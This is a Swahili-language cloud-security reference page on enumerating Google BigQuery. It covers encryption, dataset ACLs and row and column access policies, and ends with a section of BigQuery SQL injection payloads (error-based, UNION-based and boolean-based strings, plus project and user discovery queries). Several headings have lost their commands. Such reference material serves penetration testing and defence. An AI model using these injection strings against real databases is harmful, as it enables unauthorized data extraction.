GCP - Bigquery Enum
Taarifa Msingi
Google Cloud BigQuery ni ghala la data la biashara lililosimamiwa kabisa, lisilo na seva, linalotoa uwezo wa uchambuzi wa data za petabytes, hivyo kushughulikia seti kubwa za data kwa ufanisi. Kama Jukwaa kama Huduma (PaaS), hutoa watumiaji miundombinu na zana za kurahisisha usimamizi wa data bila hitaji la uangalizi wa kawaida.
Inasaidia kuuliza kutumia ANSI SQL. Vitu kuu ni seti za data zinazojumuisha meza zinazojumuisha data za SQL.
Kificho
Kwa chaguo-msingi ufunguo wa kificho uliosimamiwa na Google hutumiwa ingawa niwezekanavyo kusanidi ufunguo wa kificho uliosimamiwa na Mteja (CMEK). Niwezekanavyo kuonyesha ufunguo wa kificho kwa kila seti ya data na kwa kila meza ndani ya seti ya data.
Muda wa Kufutwa
Niwezekanavyo kuonyesha muda wa kufutwa kwenye seti ya data hivyo meza mpya iliyoundwa kwenye seti hii ya data itafutwa kiotomatiki idadi iliyowekwa ya siku baada ya kuundwa.
Vyanzo Vya Nje
Bigquery imeunganishwa sana na huduma zingine za Google. Niwezekanavyo kupakia data kutoka kwa vikapu, pub/sub, google drive, databases za RDS...
ACL za Seti ya Data
Wakati seti ya data inaundwa ACLs huambatishwa kutoa ufikiaji juu yake. Kwa chaguo-msingi inapewa mamlaka ya Mmiliki kwa mtumiaji aliyeanzisha seti ya data na kisha Mmiliki kwa kikundi projectOwners (Wamiliki wa mradi), Mwandishi kwa kikundi projectWriters, na Mkusanyaji kwa kikundi projectReaders:
Kudhibiti Upatikanaji wa Safu za Jedwali
Inawezekana kudhibiti safu ambazo mwakilishi ataweza kupata ndani ya jedwali kwa kutumia sera za upatikanaji wa safu. Hizi hufafanuliwa ndani ya jedwali kwa kutumia DDL. Sera ya upatikanaji inafafanua kichujio na safu zinazolingana tu na kichujio hicho zitakuwa zinazopatikana na wawakilishi waliotajwa.
Kudhibiti Upatikanaji wa Safu za Vitu
Ili kudhibiti upatikanaji wa data kwa kiwango cha safu:
Tambua taksonomia na vitambulisho vya sera. Unda na simamia taksonomia na vitambulisho vya sera kwa data yako. https://console.cloud.google.com/bigquery/policy-tags
Hiari: Mpe jukumu la Msomaji Mdogo wa Katalogi ya Data kwa mmoja au zaidi wa mabwana kwenye moja au zaidi ya vitambulisho vya sera ulivyoiumba.
Weka vitambulisho vya sera kwenye safu zako za BigQuery. Katika BigQuery, tumia maandishi ya schema kuweka kila safu ya sera kwa kila safu ambapo unataka kudhibiti upatikanaji.
Tekeleza udhibiti wa upatikanaji kwenye taksonomia. Kutekeleza udhibiti wa upatikanaji husababisha vizuizi vya upatikanaji vilivyofafanuliwa kwa ajili ya vitambulisho vyote vya sera katika taksonomia kutumika.
Simamia upatikanaji kwenye vitambulisho vya sera. Tumia Utambulisho na Usimamizi wa Upatikanaji (IAM) sera kudhibiti upatikanaji wa kila vitambulisho vya sera. Sera ina athari kwa kila safu inayomilikiwa na vitambulisho vya sera.
Wakati mtumiaji anapojaribu kupata data ya safu wakati wa swali, BigQuery huchunguza vitambulisho vya sera vya safu na sera yake kuona ikiwa mtumiaji ana ruhusa ya kupata data.
Kama muhtasari, ili kudhibiti upatikanaji wa baadhi ya safu kwa watumiaji fulani, unaweza kuongeza lebo kwenye safu katika schema na kudhibiti upatikanaji wa watumiaji kwa lebo kwa kutekeleza udhibiti wa upatikanaji kwenye taksonomia ya lebo.
Ili kutekeleza udhibiti wa upatikanaji kwenye taksonomia, ni muhimu kuwezesha huduma:
Inawezekana kuona vitambulisho vya nguzo kwa:
Uchambuzi
Kuingiza SQL ya BigQuery
Kwa habari zaidi unaweza kuangalia chapisho la blogi: https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac. Hapa ni baadhi ya maelezo tu.
Maoni:
select 1#from hapa haifanyi kazi
select 1/*kati ya hizo haifanyi kazi*/
Lakini ile ya kwanza tu haitafanya kaziselect 1--from hapa haifanyi kazi
Pata taarifa kuhusu mazingira kama vile:
Mtumiaji wa sasa:
select session_user()
Kitambulisho cha mradi:
select @@project_id
Jumuisha safu:
Majina ya meza zote:
string_agg(table_name, ', ')
Pata majina ya seti za data, meza, na safu:
Jina la mradi na seti ya data:
Jina la safu na jina la meza za meza zote za seti ya data:
Seti nyingine za data katika mradi huo huo:
Aina za SQL Injection:
Kulingana na makosa - kubadilisha:
select CAST(@@project_id AS INT64)
Kulingana na makosa - kugawanya kwa sifuri:
' OR if(1/(length((select('a')))-1)=1,true,false) OR '
Kulingana na muungano (inahitaji kutumia ALL katika bigquery):
UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#
Kulingana na Boolean:
' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'#
Inayoweza kuwa kulingana na wakati - Matumizi ya mifano ya seti za data za umma:
SELECT * FROM `bigquery-public-data.covid19_open_data.covid19_open_data` LIMIT 1000
Nyaraka:
Kupandisha Hadhi ya Mamlaka & Baada ya Kudukua
GCP - BigQuery PrivescUthabiti
GCP - BigQuery PersistenceMarejeo
Last updated